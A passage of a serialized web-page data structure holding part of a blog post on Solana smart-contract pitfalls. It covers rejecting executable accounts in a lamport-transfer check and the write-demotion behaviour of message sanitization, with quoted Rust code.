the\n",{"type":25,"tag":216,"props":77862,"children":77863},{"class":6916,"line":7299},[77864],{"type":25,"tag":216,"props":77865,"children":77866},{"style":6921},[77867],{"type":31,"value":77868},"    // account's data.\n",{"type":25,"tag":216,"props":77870,"children":77871},{"class":6916,"line":7551},[77872],{"type":25,"tag":216,"props":77873,"children":77874},{"style":6958},[77875],{"type":31,"value":77776},{"type":25,"tag":38,"props":77877,"children":77878},{},[77879,77881,77888],{"type":31,"value":77880},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":25,"tag":162,"props":77882,"children":77885},{"href":77883,"rel":77884},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[166],[77886],{"type":31,"value":77887},"SIMD-0162",{"type":31,"value":77889},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":25,"tag":38,"props":77891,"children":77892},{},[77893,77895,77900,77902,77907],{"type":31,"value":77894},"This change is also a ",{"type":25,"tag":9267,"props":77896,"children":77897},{},[77898],{"type":31,"value":77899},"hard requirement for supporting the new loader-v4",{"type":31,"value":77901},". Unlike the upgradable loader, which relies on a separate ",{"type":25,"tag":82,"props":77903,"children":77905},{"className":77904},[],[77906],{"type":31,"value":77784},{"type":31,"value":77908}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":25,"tag":38,"props":77910,"children":77911},{},[77912,77914,77921,77923,77928],{"type":31,"value":77913},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":25,"tag":162,"props":77915,"children":77918},{"href":77916,"rel":77917},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[166],[77919],{"type":31,"value":77920},"migrate",{"type":31,"value":77922}," from the upgradable loader to loader-v4 — without hitting the ",{"type":25,"tag":82,"props":77924,"children":77926},{"className":77925},[],[77927],{"type":31,"value":77361},{"type":31,"value":77929}," restriction.",{"type":25,"tag":631,"props":77931,"children":77933},{"id":77932},"fix-2-reject-program-accounts",[77934],{"type":31,"value":77935},"Fix 2: Reject Program Accounts",{"type":25,"tag":38,"props":77937,"children":77938},{},[77939],{"type":31,"value":77940},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":25,"tag":206,"props":77942,"children":77944},{"className":6909,"code":77943,"language":6908,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[77945],{"type":25,"tag":82,"props":77946,"children":77947},{"__ignoreMap":7},[77948,78024,78072,78088,78095,78134,78178,78202,78251,78279],{"type":25,"tag":216,"props":77949,"children":77950},{"class":6916,"line":6917},[77951,77955,77959,77964,77968,77972,77976,77980,77984,77988,77992,77996,78000,78004,78008,78012,78016,78020],{"type":25,"tag":216,"props":77952,"children":77953},{"style":6930},[77954],{"type":31,"value":17641},{"type":25,"tag":216,"props":77956,"children":77957},{"style":6930},[77958],{"type":31,"value":17646},{"type":25,"tag":216,"props":77960,"children":77961},{"style":7041},[77962],{"type":31,"value":77963}," can_transfer_lamports",{"type":25,"tag":216,"props":77965,"children":77966},{"style":6958},[77967],{"type":31,"value":1844},{"type":25,"tag":216,"props":77969,"children":77970},{"style":6941},[77971],{"type":31,"value":16903},{"type":25,"tag":216,"props":77973,"children":77974},{"style":6947},[77975],{"type":31,"value":1466},{"type":25,"tag":216,"props":77977,"children":77978},{"style":6947},[77979],{"type":31,"value":11087},{"type":25,"tag":216,"props":77981,"children":77982},{"style":7369},[77983],{"type":31,"value":18890},{"type":25,"tag":216,"props":77985,"children":77986},{"style":6958},[77987],{"type":31,"value":7020},{"type":25,"tag":216,"props":77989,"children":77990},{"style":6941},[77991],{"type":31,"value":19463},{"type":25,"tag":216,"props":77993,"children":77994},{"style":6947},[77995],{"type":31,"value":1466},{"type":25,"tag":216,"props":77997,"children":77998},{"style":7369},[77999],{"type":31,"value":9805},{"type":25,"tag":216,"props":78001,"children":78002},{"style":6958},[78003],{"type":31,"value":7030},{"type":25,"tag":216,"props":78005,"children":78006},{"style":6947},[78007],{"type":31,"value":17708},{"type":25,"tag":216,"props":78009,"children":78010},{"style":7369},[78011],{"type":31,"value":17713},{"type":25,"tag":216,"props":78013,"children":78014},{"style":6958},[78015],{"type":31,"value":9751},{"type":25,"tag":216,"props":78017,"children":78018},{"style":7369},[78019],{"type":31,"value":33640},{"type":25,"tag":216,"props":78021,"children":78022},{"style":6958},[78023],{"type":31,"value":11227},{"type":25,"tag":216,"props":78025,"children":78026},{"class":6916,"line":6763},[78027,78031,78036,78040,78044,78048,78052,78056,78060,78064,78068],{"type":25,"tag":216,"props":78028,"children":78029},{"style":6930},[78030],{"type":31,"value":24220},{"type":25,"tag":216,"props":78032,"children":78033},{"style":7041},[78034],{"type":31,"value":78035}," is_program",{"type":25,"tag":216,"props":78037,"children":78038},{"style":6958},[78039],{"type":31,"value":1844},{"type":25,"tag":216,"props":78041,"children":78042},{"style":6941},[78043],{"type":31,"value":16903},{"type":25,"tag":216,"props":78045,"children":78046},{"style":6947},[78047],{"type":31,"value":1466},{"type":25,"tag":216,"props":78049,"children":78050},{"style":6947},[78051],{"type":31,"value":11087},{"type":25,"tag":216,"props":78053,"children":78054},{"style":7369},[78055],{"type":31,"value":18890},{"type":25,"tag":216,"props":78057,"children":78058},{"style":6958},[78059],{"type":31,"value":7030},{"type":25,"tag":216,"props":78061,"children":78062},{"style":6947},[78063],{"type":31,"value":17708},{"type":25,"tag":216,"props":78065,"children":78066},{"style":7369},[78067],{"type":31,"value":16000},{"type":25,"tag":216,"props":78069,"children":78070},{"style":6958},[78071],{"type":31,"value":7235},{"type":25,"tag":216,"props":78073,"children":78074},{"class":6916,"line":6772},[78075,78079,78083],{"type":25,"tag":216,"props":78076,"children":78077},{"style":6941},[78078],{"type":31,"value":29123},{"type":25,"tag":216,"props":78080,"children":78081},{"style":6947},[78082],{"type":31,"value":179},{"type":25,"tag":216,"props":78084,"children":78085},{"style":6958},[78086],{"type":31,"value":78087},"executable\n",{"type":25,"tag":216,"props":78089,"children":78090},{"class":6916,"line":6999},[78091],{"type":25,"tag":216,"props":78092,"children":78093},{"style":6958},[78094],{"type":31,"value":7868},{"type":25,"tag":216,"props":78096,"children":78097},{"class":6916,"line":7104},[78098,78102,78106,78110,78114,78118,78122,78126,78130],{"type":25,"tag":216,"props":78099,"children":78100},{"style":6930},[78101],{"type":31,"value":15737},{"type":25,"tag":216,"props":78103,"children":78104},{"style":6941},[78105],{"type":31,"value":76855},{"type":25,"tag":216,"props":78107,"children":78108},{"style":6947},[78109],{"type":31,"value":6950},{"type":25,"tag":216,"props":78111,"children":78112},{"style":7369},[78113],{"type":31,"value":47431},{"type":25,"tag":216,"props":78115,"children":78116},{"style":6947},[78117],{"type":31,"value":7432},{"type":25,"tag":216,"props":78119,"children":78120},{"style":7041},[78121],{"type":31,"value":20304},{"type":25,"tag":216,"props":78123,"children":78124},{"style":6958},[78125],{"type":31,"value":17830},{"type":25,"tag":216,"props":78127,"children":78128},{"style":6947},[78129],{"type":31,"value":605},{"type":25,"tag":216,"props":78131,"children":78132},{"style":6958},[78133],{"type":31,"value":6961},{"type":25,"tag":216,"props":78135,"children":78136},{"class":6916,"line":7210},[78137,78141,78146,78150,78154,78158,78162,78166,78170,78174],{"type":25,"tag":216,"props":78138,"children":78139},{"style":6930},[78140],{"type":31,"value":15737},{"type":25,"tag":216,"props":78142,"children":78143},{"style":6941},[78144],{"type":31,"value":78145}," balance_after",{"type":25,"tag":216,"props":78147,"children":78148},{"style":6947},[78149],{"type":31,"value":6950},{"type":25,"tag":216,"props":78151,"children":78152},{"style":6941},[78153],{"type":31,"value":9427},{"type":25,"tag":216,"props":78155,"children":78156},{"style":6947},[78157],{"type":31,"value":179},{"type":25,"tag":216,"props":78159,"children":78160},{"style":7041},[78161],{"type":31,"value":19463},{"type":25,"tag":216,"props":78163,"children":78164},{"style":6958},[78165],{"type":31,"value":17994},{"type":25,"tag":216,"props":78167,"children":78168},{"style":6947},[78169],{"type":31,"value":3533},{"type":25,"tag":216,"props":78171,"children":78172},{"style":6941},[78173],{"type":31,"value":77166},{"type":25,"tag":216,"props":78175,"children":78176},{"style":6958},[78177],{"type":31,"value":6961},{"type":25,"tag":216,"props":78179,"children":78180},{"class":6916,"line":7238},[78181,78185,78189,78193,78197],{"type":25,"tag":216,"props":78182,"children":78183},{"style":7369},[78184],{"type":31,"value":24443},{"type":25,"tag":216,"props":78186,"children":78187},{"style":6958},[78188],{"type":31,"value":1844},{"type":25,"tag":216,"props":78190,"children":78191},{"style":6941},[78192],{"type":31,"value":16903},{"type":25,"tag":216,"props":78194,"children":78195},{"style":6947},[78196],{"type":31,"value":179},{"type":25,"tag":216,"props":78198,"children":78199},{"style":6958},[78200],{"type":31,"value":78201},"is_writable\n",{"type":25,"tag":216,"props":78203,"children":78204},{"class":6916,"line":7251},[78205,78209,78213,78217,78222,78226,78231,78235,78239,78243,78247],{"type":25,"tag":216,"props":78206,"children":78207},{"style":6947},[78208],{"type":31,"value":19573},{"type":25,"tag":216,"props":78210,"children":78211},{"style":6941},[78212],{"type":31,"value":76855},{"type":25,"tag":216,"props":78214,"children":78215},{"style":6947},[78216],{"type":31,"value":179},{"type":25,"tag":216,"props":78218,"children":78219},{"style":7041},[78220],{"type":31,"value":78221},"is_exempt",{"type":25,"tag":216,"props":78223,"children":78224},{"style":6958},[78225],{"type":31,"value":1844},{"type":25,"tag":216,"props":78227,"children":78228},{"style":6941},[78229],{"type":31,"value":78230},"balance_after",{"type":25,"tag":216,"props":78232,"children":78233},{"style":6958},[78234],{"type":31,"value":7020},{"type":25,"tag":216,"props":78236,"children":78237},{"style":6941},[78238],{"type":31,"value":16903},{"type":25,"tag":216,"props":78240,"children":78241},{"style":6947},[78242],{"type":31,"value":179},{"type":25,"tag":216,"props":78244,"children":78245},{"style":7041},[78246],{"type":31,"value":17757},{"type":25,"tag":216,"props":78248,"children":78249},{"style":6958},[78250],{"type":31,"value":19612},{"type":25,"tag":216,"props":78252,"children":78253},{"class":6916,"line":7269},[78254,78258,78262,78267,78271,78275],{"type":25,"tag":216,"props":78255,"children":78256},{"style":6947},[78257],{"type":31,"value":19573},{"type":25,"tag":216,"props":78259,"children":78260},{"style":6947},[78261],{"type":31,"value":16814},{"type":25,"tag":216,"props":78263,"children":78264},{"style":7041},[78265],{"type":31,"value":78266},"is_program",{"type":25,"tag":216,"props":78268,"children":78269},{"style":6958},[78270],{"type":31,"value":1844},{"type":25,"tag":216,"props":78272,"children":78273},{"style":6941},[78274],{"type":31,"value":16903},{"type":25,"tag":216,"props":78276,"children":78277},{"style":6958},[78278],{"type":31,"value":23666},{"type":25,"tag":216,"props":78280,"children":78281},{"class":6916,"line":7290},[78282],{"type":25,"tag":216,"props":78283,"children":78284},{"style":6958},[78285],{"type":31,"value":7868},{"type":25,"tag":38,"props":78287,"children":78288},{},[78289],{"type":31,"value":78290},"Now we’re safe...right?",{"type":25,"tag":607,"props":78292,"children":78294},{"id":78293},"bug-3-the-write-demotion-trap",[78295],{"type":31,"value":78296},"Bug 3: The Write-Demotion Trap",{"type":25,"tag":38,"props":78298,"children":78299},{},[78300,78302,78307,78309,78314],{"type":31,"value":78301},"On Solana, accounts passed as ",{"type":25,"tag":9267,"props":78303,"children":78304},{},[78305],{"type":31,"value":78306},"writable",{"type":31,"value":78308}," in a transaction can be ",{"type":25,"tag":9267,"props":78310,"children":78311},{},[78312],{"type":31,"value":78313},"silently downgraded to read-only",{"type":31,"value":78315},". This behavior occurs during message sanitization — even before your program runs.",{"type":25,"tag":38,"props":78317,"children":78318},{},[78319,78321,78328],{"type":31,"value":78320},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":25,"tag":162,"props":78322,"children":78325},{"href":78323,"rel":78324},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[166],[78326],{"type":31,"value":78327},"MessageV0",{"type":31,"value":78329},", but legacy is simpler to follow):",{"type":25,"tag":206,"props":78331,"children":78333},{"className":6909,"code":78332,"language":6908,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[78334],{"type":25,"tag":82,"props":78335,"children":78336},{"__ignoreMap":7},[78337,78345,78369,78457,78478,78490,78506,78522,78570,78599,78653,78689,78697,78734,78746,78784,78796,78803,78810,78817,78824,78832,78892,78945],{"type":25,"tag":216,"props":78338,"children":78339},{"class":6916,"line":6917},[78340],{"type":25,"tag":216,"props":78341,"children":78342},{"style":6921},[78343],{"type":31,"value":78344},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":25,"tag":216,"props":78346,"children":78347},{"class":6916,"line":6763},[78348,78352,78357,78361,78365],{"type":25,"tag":216,"props":78349,"children":78350},{"style":6930},[78351],{"type":31,"value":32147},{"type":25,"tag":216,"props":78353,"children":78354},{"style":7369},[78355],{"type":31,"value":78356}," LegacyMessage",{"type":25,"tag":216,"props":78358,"children":78359},{"style":6958},[78360],{"type":31,"value":26862},{"type":25,"tag":216,"props":78362,"children":78363},{"style":7369},[78364],{"type":31,"value":7025},{"type":25,"tag":216,"props":78366,"children":78367},{"style":6958},[78368],{"type":31,"value":11227},{"type":25,"tag":216,"props":78370,"children":78371},{"class":6916,"line":6772},[78372,78376,78380,78384,78388,78392,78396,78401,78405,78410,78414,78419,78423,78427,78432,78436,78440,78444,78448,78453],{"type":25,"tag":216,"props":78373,"children":78374},{"style":6930},[78375],{"type":31,"value":24797},{"type":25,"tag":216,"props":78377,"children":78378},{"style":6930},[78379],{"type":31,"value":17646},{"type":25,"tag":216,"props":78381,"children":78382},{"style":7041},[78383],{"type":31,"value":35889},{"type":25,"tag":216,"props":78385,"children":78386},{"style":6958},[78387],{"type":31,"value":1844},{"type":25,"tag":216,"props":78389,"children":78390},{"style":6941},[78391],{"type":31,"value":72000},{"type":25,"tag":216,"props":78393,"children":78394},{"style":6947},[78395],{"type":31,"value":1466},{"type":25,"tag":216,"props":78397,"children":78398},{"style":6958},[78399],{"type":31,"value":78400}," legacy",{"type":25,"tag":216,"props":78402,"children":78403},{"style":6947},[78404],{"type":31,"value":7432},{"type":25,"tag":216,"props":78406,"children":78407},{"style":7369},[78408],{"type":31,"value":78409},"Message",{"type":25,"tag":216,"props":78411,"children":78412},{"style":6958},[78413],{"type":31,"value":7020},{"type":25,"tag":216,"props":78415,"children":78416},{"style":6941},[78417],{"type":31,"value":78418},"reserved_account_keys",{"type":25,"tag":216,"props":78420,"children":78421},{"style":6947},[78422],{"type":31,"value":1466},{"type":25,"tag":216,"props":78424,"children":78425},{"style":6947},[78426],{"type":31,"value":11087},{"type":25,"tag":216,"props":78428,"children":78429},{"style":7369},[78430],{"type":31,"value":78431},"HashSet",{"type":25,"tag":216,"props":78433,"children":78434},{"style":6958},[78435],{"type":31,"value":9751},{"type":25,"tag":216,"props":78437,"children":78438},{"style":7369},[78439],{"type":31,"value":25352},{"type":25,"tag":216,"props":78441,"children":78442},{"style":6958},[78443],{"type":31,"value":24400},{"type":25,"tag":216,"props":78445,"children":78446},{"style":6947},[78447],{"type":31,"value":17708},{"type":25,"tag":216,"props":78449,"children":78450},{"style":6930},[78451],{"type":31,"value":78452}," Self",{"type":25,"tag":216,"props":78454,"children":78455},{"style":6958},[78456],{"type":31,"value":7235},{"type":25,"tag":216,"props":78458,"children":78459},{"class":6916,"line":6999},[78460,78464,78469,78473],{"type":25,"tag":216,"props":78461,"children":78462},{"style":6930},[78463],{"type":31,"value":7005},{"type":25,"tag":216,"props":78465,"children":78466},{"style":6941},[78467],{"type":31,"value":78468}," is_writable_account_cache",{"type":25,"tag":216,"props":78470,"children":78471},{"style":6947},[78472],{"type":31,"value":6950},{"type":25,"tag":216,"props":78474,"children":78475},{"style":6941},[78476],{"type":31,"value":78477}," message\n",{"type":25,"tag":216,"props":78479,"children":78480},{"class":6916,"line":7104},[78481,78485],{"type":25,"tag":216,"props":78482,"children":78483},{"style":6947},[78484],{"type":31,"value":7110},{"type":25,"tag":216,"props":78486,"children":78487},{"style":6958},[78488],{"type":31,"value":78489},"account_keys\n",{"type":25,"tag":216,"props":78491,"children":78492},{"class":6916,"line":7210},[78493,78497,78502],{"type":25,"tag":216,"props":78494,"children":78495},{"style":6947},[78496],{"type":31,"value":7110},{"type":25,"tag":216,"props":78498,"children":78499},{"style":7041},[78500],{"type":31,"value":78501},"iter",{"type":25,"tag":216,"props":78503,"children":78504},{"style":6958},[78505],{"type":31,"value":11681},{"type":25,"tag":216,"props":78507,"children":78508},{"class":6916,"line":7238},[78509,78513,78518],{"type":25,"tag":216,"props":78510,"children":78511},{"style":6947},[78512],{"type":31,"value":7110},{"type":25,"tag":216,"props":78514,"children":78515},{"style":7041},[78516],{"type":31,"value":78517},"enumerate",{"type":25,"tag":216,"props":78519,"children":78520},{"style":6958},[78521],{"type":31,"value":11681},{"type":25,"tag":216,"props":78523,"children":78524},{"class":6916,"line":7251},[78525,78529,78533,78537,78541,78545,78549,78553,78558,78562,78566],{"type":25,"tag":216,"props":78526,"children":78527},{"style":6947},[78528],{"type":31,"value":7110},{"type":25,"tag":216,"props":78530,"children":78531},{"style":7041},[78532],{"type":31,"value":71065},{"type":25,"tag":216,"props":78534,"children":78535},{"style":6958},[78536],{"type":31,"value":1844},{"type":25,"tag":216,"props":78538,"children":78539},{"style":6947},[78540],{"type":31,"value":14367},{"type":25,"tag":216,"props":78542,"children":78543},{"style":6958},[78544],{"type":31,"value":1844},{"type":25,"tag":216,"props":78546,"children":78547},{"style":6941},[78548],{"type":31,"value":2283},{"type":25,"tag":216,"props":78550,"children":78551},{"style":6958},[78552],{"type":31,"value":7020},{"type":25,"tag":216,"props":78554,"children":78555},{"style":6941},[78556],{"type":31,"value":78557},"_key",{"type":25,"tag":216,"props":78559,"children":78560},{"style":6958},[78561],{"type":31,"value":1882},{"type":25,"tag":216,"props":78563,"children":78564},{"style":6947},[78565],{"type":31,"value":14367},{"type":25,"tag":216,"props":78567,"children":78568},{"style":6958},[78569],{"type":31,"value":7235},{"type":25,"tag":216,"props":78571,"children":78572},{"class":6916,"line":7269},[78573,78578,78582,78587,78591,78595],{"type":25,"tag":216,"props":78574,"children":78575},{"style":6941},[78576],{"type":31,"value":78577},"                message",{"type":25,"tag":216,"props":78579,"children":78580},{"style":6947},[78581],{"type":31,"value":179},{"type":25,"tag":216,"props":78583,"children":78584},{"style":7041},[78585],{"type":31,"value":78586},"is_writable_index",{"type":25,"tag":216,"props":78588,"children":78589},{"style":6958},[78590],{"type":31,"value":1844},{"type":25,"tag":216,"props":78592,"children":78593},{"style":6941},[78594],{"type":31,"value":2283},{"type":25,"tag":216,"props":78596,"children":78597},{"style":6958},[78598],{"type":31,"value":7101},{"type":25,"tag":216,"props":78600,"children":78601},{"class":6916,"line":7290},[78602,78607,78611,78615,78619,78624,78628,78632,78636,78640,78645,78649],{"type":25,"tag":216,"props":78603,"children":78604},{"style":6947},[78605],{"type":31,"value":78606},"                    &&",{"type":25,"tag":216,"props":78608,"children":78609},{"style":6947},[78610],{"type":31,"value":16814},{"type":25,"tag":216,"props":78612,"children":78613},{"style":6941},[78614],{"type":31,"value":78418},{"type":25,"tag":216,"props":78616,"children":78617},{"style":6947},[78618],{"type":31,"value":179},{"type":25,"tag":216,"props":78620,"children":78621},{"style":7041},[78622],{"type":31,"value":78623},"contains",{"type":25,"tag":216,"props":78625,"children":78626},{"style":6958},[78627],{"type":31,"value":1844},{"type":25,"tag":216,"props":78629,"children":78630},{"style":6947},[78631],{"type":31,"value":7053},{"type":25,"tag":216,"props":78633,"children":78634},{"style":6941},[78635],{"type":31,"value":72000},{"type":25,"tag":216,"props":78637,"children":78638},{"style":6947},[78639],{"type":31,"value":179},{"type":25,"tag":216,"props":78641,"children":78642},{"style":6958},[78643],{"type":31,"value":78644},"account_keys[",{"type":25,"tag":216,"props":78646,"children":78647},{"style":6941},[78648],{"type":31,"value":2283},{"type":25,"tag":216,"props":78650,"children":78651},{"style":6958},[78652],{"type":31,"value":59403},{"type":25,"tag":216,"props":78654,"children":78655},{"class":6916,"line":7299},[78656,78660,78664,78668,78672,78677,78681,78685],{"type":25,"tag":216,"props":78657,"children":78658},{"style":6947},[78659],{"type":31,"value":78606},{"type":25,"tag":216,"props":78661,"children":78662},{"style":6947},[78663],{"type":31,"value":16814},{"type":25,"tag":216,"props":78665,"children":78666},{"style":6941},[78667],{"type":31,"value":72000},{"type":25,"tag":216,"props":78669,"children":78670},{"style":6947},[78671],{"type":31,"value":179},{"type":25,"tag":216,"props":78673,"children":78674},{"style":7041},[78675],{"type":31,"value":78676},"demote_program_id",{"type":25,"tag":216,"props":78678,"children":78679},{"style":6958},[78680],{"type":31,"value":1844},{"type":25,"tag":216,"props":78682,"children":78683},{"style":6941},[78684],{"type":31,"value":2283},{"type":25,"tag":216,"props":78686,"children":78687},{"style":6958},[78688],{"type":31,"value":7101},{"type":25,"tag":216,"props":78690,"children":78691},{"class":6916,"line":7551},[78692],{"type":25,"tag":216,"props":78693,"children":78694},{"style":6958},[78695],{"type":31,"value":78696},"            })\n",{"type":25,"tag":216,"props":78698,"children":78699},{"class":6916,"line":7568},[78700,78704,78709,78713,78717,78721,78725,78729],{"type":25,"tag":216,"props":78701,"children":78702},{"style":6947},[78703],{"type":31,"value":7110},{"type":25,"tag":216,"props":78705,"children":78706},{"style":7041},[78707],{"type":31,"value":78708},"collect",{"type":25,"tag":216,"props":78710,"children":78711},{"style":6947},[78712],{"type":31,"value":7432},{"type":25,"tag":216,"props":78714,"children":78715},{"style":6958},[78716],{"type":31,"value":9751},{"type":25,"tag":216,"props":78718,"children":78719},{"style":7369},[78720],{"type":31,"value":900},{"type":25,"tag":216,"props":78722,"children":78723},{"style":6958},[78724],{"type":31,"value":9751},{"type":25,"tag":216,"props":78726,"children":78727},{"style":6941},[78728],{"type":31,"value":7025},{"type":25,"tag":216,"props":78730,"children":78731},{"style":6958},[78732],{"type":31,"value":78733},">>();\n",{"type":25,"tag":216,"props":78735,"children":78736},{"class":6916,"line":7585},[78737,78742],{"type":25,"tag":216,"props":78738,"children":78739},{"style":6930},[78740],{"type":31,"value":78741},"        Self",{"type":25,"tag":216,"props":78743,"children":78744},{"style":6958},[78745],{"type":31,"value":7235},{"type":25,"tag":216,"props":78747,"children":78748},{"class":6916,"line":7598},[78749,78754,78758,78763,78767,78772,78776,78780],{"type":25,"tag":216,"props":78750,"children":78751},{"style":6941},[78752],{"type":31,"value":78753},"            message",{"type":25,"tag":216,"props":78755,"children":78756},{"style":6947},[78757],{"type":31,"value":1466},{"type":25,"tag":216,"props":78759,"children":78760},{"style":7369},[78761],{"type":31,"value":78762}," Cow",{"type":25,"tag":216,"props":78764,"children":78765},{"style":6947},[78766],{"type":31,"value":7432},{"type":25,"tag":216,"props":78768,"children":78769},{"style":7041},[78770],{"type":31,"value":78771},"Owned",{"type":25,"tag":216,"props":78773,"children":78774},{"style":6958},[78775],{"type":31,"value":1844},{"type":25,"tag":216,"props":78777,"children":78778},{"style":6941},[78779],{"type":31,"value":72000},{"type":25,"tag":216,"props":78781,"children":78782},{"style":6958},[78783],{"type":31,"value":10682},{"type":25,"tag":216,"props":78785,"children":78786},{"class":6916,"line":7607},[78787,78792],{"type":25,"tag":216,"props":78788,"children":78789},{"style":6941},[78790],{"type":31,"value":78791},"            is_writable_account_cache",{"type":25,"tag":216,"props":78793,"children":78794},{"style":6958},[78795],{"type":31,"value":7459},{"type":25,"tag":216,"props":78797,"children":78798},{"class":6916,"line":7630},[78799],{"type":25,"tag":216,"props":78800,"children":78801},{"style":6958},[78802],{"type":31,"value":7296},{"type":25,"tag":216,"props":78804,"children":78805},{"class":6916,"line":7639},[78806],{"type":25,"tag":216,"props":78807,"children":78808},{"style":6958},[78809],{"type":31,"value":7305},{"type":25,"tag":216,"props":78811,"children":78812},{"class":6916,"line":7648},[78813],{"type":25,"tag":216,"props":78814,"children":78815},{"style":6958},[78816],{"type":31,"value":7868},{"type":25,"tag":216,"props":78818,"children":78819},{"class":6916,"line":7716},[78820],{"type":25,"tag":216,"props":78821,"children":78822},{"emptyLinePlaceholder":16},[78823],{"type":31,"value":7636},{"type":25,"tag":216,"props":78825,"children":78826},{"class":6916,"line":7724},[78827],{"type":25,"tag":216,"props":78828,"children":78829},{"style":6921},[78830],{"type":31,"value":78831},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":25,"tag":216,"props":78833,"children":78834},{"class":6916,"line":7754},[78835,78839,78843,78848,78852,78856,78860,78864,78868,78872,78876,78880,78884,78888],{"type":25,"tag":216,"props":78836,"children":78837},{"style":6930},[78838],{"type":31,"value":17641},{"type":25,"tag":216,"props":78840,"children":78841},{"style":6930},[78842],{"type":31,"value":17646},{"type":25,"tag":216,"props":78844,"children":78845},{"style":7041},[78846],{"type":31,"value":78847}," demote_program_id",{"type":25,"tag":216,"props":78849,"children":78850},{"style":6958},[78851],{"type":31,"value":1844},{"type":25,"tag":216,"props":78853,"children":78854},{"style":6947},[78855],{"type":31,"value":7053},{"type":25,"tag":216,"props":78857,"children":78858},{"style":6930},[78859],{"type":31,"value":17664},{"type":25,"tag":216,"props":78861,"children":78862},{"style":6958},[78863],{"type":31,"value":7020},{"type":25,"tag":216,"props":78865,"children":78866},{"style":6941},[78867],{"type":31,"value":2283},{"type":25,"tag":216,"props":78869,"children":78870},{"style":6947},[78871],{"type":31,"value":1466},{"type":25,"tag":216,"props":78873,"children":78874},{"style":7369},[78875],{"type":31,"value":17682},{"type":25,"tag":216,"props":78877,"children":78878},{"style":6958},[78879],{"type":31,"value":7030},{"type":25,"tag":216,"props":78881,"children":78882},{"style":6947},[78883],{"type":31,"value":17708},{"type":25,"tag":216,"props":78885,"children":78886},{"style":7369},[78887],{"type":31,"value":16000},{"type":25,"tag":216,"props":78889,"children":78890},{"style":6958},[78891],{"type":31,"value":7235},{"type":25,"tag":216,"props":78893,"children":78894},{"class":6916,"line":7762},[78895,78899,78903,78908,78912,78916,78920,78924,78928,78932,78936,78941],{"type":25,"tag":216,"props":78896,"children":78897},{"style":6930},[78898],{"type":31,"value":24740},{"type":25,"tag":216,"props":78900,"children":78901},{"style":6947},[78902],{"type":31,"value":179},{"type":25,"tag":216,"props":78904,"children":78905},{"style":7041},[78906],{"type":31,"value":78907},"is_key_called_as_program",{"type":25,"tag":216,"props":78909,"children":78910},{"style":6958},[78911],{"type":31,"value":1844},{"type":25,"tag":216,"props":78913,"children":78914},{"style":6941},[78915],{"type":31,"value":2283},{"type":25,"tag":216,"props":78917,"children":78918},{"style":6958},[78919],{"type":31,"value":7030},{"type":25,"tag":216,"props":78921,"children":78922},{"style":6947},[78923],{"type":31,"value":77161},{"type":25,"tag":216,"props":78925,"children":78926},{"style":6947},[78927],{"type":31,"value":16814},{"type":25,"tag":216,"props":78929,"children":78930},{"style":6930},[78931],{"type":31,"value":17664},{"type":25,"tag":216,"props":78933,"children":78934},{"style":6947},[78935],{"type":31,"value":179},{"type":25,"tag":216,"props":78937,"children":78938},{"style":7041},[78939],{"type":31,"value":78940},"is_upgradeable_loader_present",{"type":25,"tag":216,"props":78942,"children":78943},{"style":6958},[78944],{"type":31,"value":11681},{"type":25,"tag":216,"props":78946,"children":78947},{"class":6916,"line":7794},[78948],{"type":25,"tag":216,"props":78949,"children":78950},{"style":6958},[78951],{"type":31,"value":7868},{"type":25,"tag":38,"props":78953,"children":78954},{},[78955],{"type":31,"value":78956},"As you can see, there are two main causes of write-demotion:",{"type":25,"tag":6705,"props":78958,"children":78959},{},[78960,78972],{"type":25,"tag":2037,"props":78961,"children":78962},{},[78963,78965],{"type":31,"value":78964},"The account appears in the ",{"type":25,"tag":162,"props":78966,"children":78969},{"href":78967,"rel":78968},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[166],[78970],{"type":31,"value":78971},"reserved account list",{"type":25,"tag":2037,"props":78973,"children":78974},{},[78975],{"type":31,"value":78976},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":25,"tag":38,"props":78978,"children":78979},{},[78980],{"type":31,"value":78981},"The second case is generally covered by the executable check implemented previously.",{"type":25,"tag":38,"props":78983,"children":78984},{},[78985],{"type":31,"value":78986},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":25,"tag":631,"props":78988,"children":78990},{"id":78989},"the-reserved-account-list",[78991],{"type":31,"value":78992},"The Reserved Account List",{"type":25,"tag":38,"props":78994,"children":78995},{},[78996,78998,79003],{"type":31,"value":78997},"The Solana runtime 